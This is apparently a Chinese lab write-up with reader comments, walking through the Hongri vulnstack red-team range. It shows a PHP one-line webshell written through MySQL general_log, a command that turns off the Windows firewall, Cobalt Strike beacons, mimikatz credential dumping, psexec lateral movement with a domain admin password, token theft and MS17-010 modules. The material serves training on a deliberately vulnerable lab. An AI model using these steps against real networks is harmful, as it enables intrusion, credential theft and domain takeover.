MENU

ATT&CK实战-红日安全vulnstack(一)

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

0x01 介绍

ATT&CK介绍

ATT&CK

靶机介绍及配置

靶机地址

官方靶机说明:

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。虚拟机所有统一密码:hongrisec@2019

配置网络,网络拓扑图如下:

vmware网络配置如下:

我画了个网络示意图:

实际配置截图:

服务器桌面如下:

先要启动phpstudy

域控主机和win2003登录时要求更改密码,我更改密码把年份2019改为了2020

0x02 渗透服务器

信息收集

发现主机:netdiscover -i eth0 -r 192.168.52.0/24

扫描端口:

nmap -sS -A -n -T4 -p- 192.168.52.143

只开启了803389端口,访问80端口:

phpstudy探针,在这里可以获取到网站的绝对路径C:/phpStudy/www/

拉到最下面MYSQL数据库连接检测:

输入弱密码root/root成功且可以外连:

扫描目录,御剑只扫出了phpmyadmin

使用dirmap扫描:

得到备份文件beifen.rar,下载解压得到yxcms文件夹:

看起来似乎是网站的源码,查看网页源码得到后台的账户名和密码:

得到后台登陆的账号密码:admin:123456和登录路径/index.php?r=admin

获取shell

登录phpmyadminshell(sqlshell的文章我之前写过)

先查看是否有写权限:show variables like '%secure_file%';

secure_file_priv值为NULL,不能使用into outfile方式写入shell

那我们来尝试日志写shell,开启日志记录:set global general_log = "ON";

查看当前的日志目录:show variables like 'general%';:

指定日志文件:set global general_log_file = "C:/phpStudy/www/1.php";:

将一句话木马写入指定的文件中

SELECT '<?php eval($_POST["cmd"]);?>'

然后蚁剑连接:

另外一种方式获取shell

先访问一下192.168.52.143/yxcms,界面如下;

访问之前解压的文件夹路径发现基本都有目录遍历漏洞:

测试弱密码admin/123456登录后台:/index.php?r=admin

在前台模板文件中添加一句话木马连接也可获取shell

0x03 内网及域渗透

webshell反弹shellcscs创建Listenerpayload选择beacon http

然后攻击 -> 生成后门 -> Windows Executable(S),选择刚创建的Listener

利用蚁剑上传之前需要先执行下关掉防火墙的命令,不然在服务器端管理员可能会看到这样的提示就尴尬了:

蚁剑终端执行

netsh advfirewall set allprofiles state off

上传后直接输入exe的文件名回车即可获得csshell

cs的使用之前我也写过文章:《CobaltStrike 基本功能与使用》

目标主机信息收集

拿到shell第一步,调低心跳值,默认心跳为60s,执行命令的响应很慢

我这是自己的内网且没有杀软我就设置为0了,真实环境不要设置这么低

进入beacon执行sleep 0,然后查看下基本的本机信息:

whoamihostnamenet usernet localgroup administrators

众所周知systeminfo可以查看系统详细信息,我就不展示,提供两个小tips:

查看是什么操作系统&系统版本:
系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
查询系统体系架构:echo %PROCESSOR_ARCHITECTURE%

查询已安装的软件及版本信息:wmic product get name,version

win10中,输入wmic /?会提示wmic已弃用,但在server2012R2win7等版本中可以正常使用

powershell中可替代该命令的是Get-WmiObject:

Get-WmiObject -class win32_product | Select-Object -property name,version

查询进程及服务:
tasklist,默认显示映像名称,PID,会话名,会话,内存使用

tasklist /svc,默认显示映像名称,PID,服务

wmic process list brief

常见的杀软进程:

进程名软件
360sd.exe360杀毒
360tray.exe360实时保护
ZhuDongFangYu.exe360主动防御
KSafeTray.exe金山卫士
SafeDogUpdateCenter.exe安全狗
McAfeeMcShield.exe
egui.exeNOD32
AVP.exe卡巴斯基
avguard.exe小红伞
bdagent.exeBitDefender

命令还有很多,单纯记下来也没有意义,还是要用到的时候立马找才印象深刻

本文重点是域渗透,就不做过多介绍了

域信息收集

什么是域

参考文章:内网渗透学习导航

域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 从Windows Server 2003开始 , Active Directory是负责维护该中央数据库的Windows组件。Windows域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。

判断是否存在域

使用ipconfig /all查看DNS服务器:

发现DNS服务器名为god.org,查看域信息:net view

查看主域信息:net view /domain

查看时间服务器:net time /domain

发现能够执行,说明此台机器在域中(若是此命令在显示域处显示WORKGROUP,则不存在域,若是报错:发生系统错误5,则存在域,但该用户不是域用户)

查询当前的登录域与用户信息:net config workstation

可以很清楚地看出有无域,一般只要不是WORKGROUP就是有域(我瞎猜的)

查找域控

利用nslookup命令直接解析域名服务器:

得到域控的ip192.168.72.130

查询域控和用户信息

查看当前域的所有用户:net user /domain

获取域内用户的详细信息:wmic useraccount get /all

可以获取到用户名,描述信息,SID域名等:

查看所有域成员计算机列表:net group "domain computers" /domain

查看域管理员:net group "domain admins" /domain

查看域控制器:net group "domain controllers" /domain

查看企业管理组:net group "enterprise admins" /domain

查看域控,升级为域控时,本地账户也成为域管:

net localgroup administrators /domain

获取域密码信息:net accounts /domain

获取域信任信息(cs里执行提示不是内部或外部命令):nltest /domain_trusts

横向探测

获取到一个csbeacon后可以目标内网情况和端口开放情况

beacon上右键 -> 目标 -> 选择net view或者port scan:

选择前者执行:

执行后可以在Targets选项卡看到扫描出来的主机:

cshashdump读内存密码:hashdump,用mimikatz读注册表密码:logonpasswords

在凭证信息一栏可以清楚查看:

如果权限不够可以提权,提权插件:ElevateKit

额外增加ms14-058ms15-051ms16-016uac-schtasks四种提权方式

抓取密码后可以先探测内网其他主机:

ping方法:

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.72.%I | findstr "TTL="

最简单的直接arp -a查看也可以,这里还推荐一个好用工具Ladon

Ladon作者是k8gege,它是一个大型内网渗透扫描器并且支持cs脚本形式

cs要使用的话只需要下载其中的Ladon.exeLadon.cna即可运行基本功能

详细功能参考官方wiki官方说明文档

查看帮助:

扫描网段内存活主机信息:Ladon 192.168.72.0/24 OsScan

Ladon还有很多使用功能,比如扫描MS17-010Ladon 192.168.72.0/24 MS17010

其他的功能可以自己去尝试

域探测差不多了还可以使用BloodHound这款域渗透分析工具来分析攻击路径

BloodHound介绍:

BloodHound是一种单页的JavaScript的Web应用程序,构建在Linkurious上,用Electron编译,NEO4J数据库PowerShell/C# ingestor.BloodHound使用可视化图来显示Active Directory环境中隐藏的和相关联的主机内容。攻击者可以使用BloodHound轻松识别高度复杂的攻击路径,否则很难快速识别。防御者可以使用BloodHound来识别和防御那些相同的攻击路径。蓝队和红队都可以使用BloodHound轻松深入了解Active Directory环境中的权限关系。

横向移动

这里有很多种方式,可以:

  1. cs上开通socks通道,在攻击机上用proxychains将攻击机的msf代入内网,但是cs的socks代理不稳定
  2. ew添加转接隧道,在攻击机上用proxychains将攻击机的msf代入内网
  3. cs派生到msf,msf使用socks4a代理进内网,但是并不稳定
  4. cs派生到msf,msf使用使用autoroute添加路由进内网
  5. 用frp创建socks5代理

我后面会专门写一篇文章来写各种带入方式,本篇篇幅过长,就不全部使用了

SMB Beacon

另外这里还要介绍下cs派生SMB Beacon

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效

简单来说,SMB Beacon有两种方式

第一种直接派生一个孩子,目的为了进一步盗取内网主机的hash

新建一个Listenerpayload设置为Beacon SMB

我用的是4.0版本,之前的3.14版本和这个可能会有微小差异

在已有的Beacon上右键Spawn(生成会话/派生),选择创建的smb beaconlisterner:

选择后会反弹一个子会话,在externalip后面会有一个链接的小图标:

在图标视图中:

这就是派生的SMB Beacon,当前没有连接

可以在主Beacon上用link host连接它,或者unlink host断开它

第二种在已有的beacon上创建监听,用来作为跳板进行内网穿透

前提是能够通过shell之类访问到内网其他主机

psexec使用凭证登录其他主机

前面横向探测已经获取到内网内的其他Targets以及读取到的凭证信息

于是可以尝试使用psexec模块登录其他主机

右键选择一台非域控主机ROOT-TVI862UBEHpsexec模块:

在弹出的窗口中选择使用god.orgAdministrator的凭证信息

监听器选择刚才创建的smb beacon,会话也选择对应的smb beacon的会话:

执行后效果如下:

可以看到分别执行了

rev2self
make_token GOD.ORG\Administrator hongrisec@2020
jump psexec ROOT-TVI862UBEH smb

这几条命令,执行后得到了ROOT-TVI862UBEH这台主机的beacon

如法炮制得到了域控主机OWAbeacon:

最终的图标视图如图所示:

token窃取

除了直接使用获取到的hash值,也可以直接窃取GOD\Administratortoken来登录其他主机

选择beacon右键 -> 目标 -> 进程列表

选择GOD\Administratortoken盗取:

然后在选择令牌处勾选使用当前token即可:

效果和前面是一样的

cs派生msf横向移动

前面psexec能迅速地获得域控主机的beacon是因为我们读取到了域管理员账号密码的hash

但是一般情况下,我们是获取不到的,所以多种方法都需要学会使用

csmsf联动的话,可以使用cs开启socks,然后msf将代理设置为此代理进行扫描

也可以直接用cs派生一个msfmeterpreter会话,此处使用后者

csmsf联动在cs的使用这篇文章中已经介绍过,此处不再赘述

msf获得meterpreter会话后,首先查看当前路由:run get_local_subnets

然后添加对应网段:run autoroute -s 192.168.72.0/24添加路由段

然后去使用ms17-010的模块,例如:

auxiliary/admin/smb/ms17010command
exploit/windows/smb/ms17010psexec

等去攻击域内其他主机即可。

中间因为毕业设计和找工作等原因间隔了50天,至此本文完结。

参考文章:

最后编辑于: 2020 年 05 月 31 日
添加新评论

已有 4 条评论
  1. 感谢师傅的仔细讲解,真的很细,收获很多0rz

  2. 但是我在使用CS上加载Ladon时,除了Ladon help,其他命令均不执行。CS4.0 Ladon 7.0
    teamserver 在kali上,client在本机的win10 Ladon 放在win10上
    师傅您遇到这样的问题吗?是我的文件放的有问题吗?

    1. @V0WKeep3r文件放少了吧,你是只放了一个exe嘛?建议全部git clone,然后一个一个删,看哪些是必须的

  3. http://image.v0w.top/Blog/20200719215947.png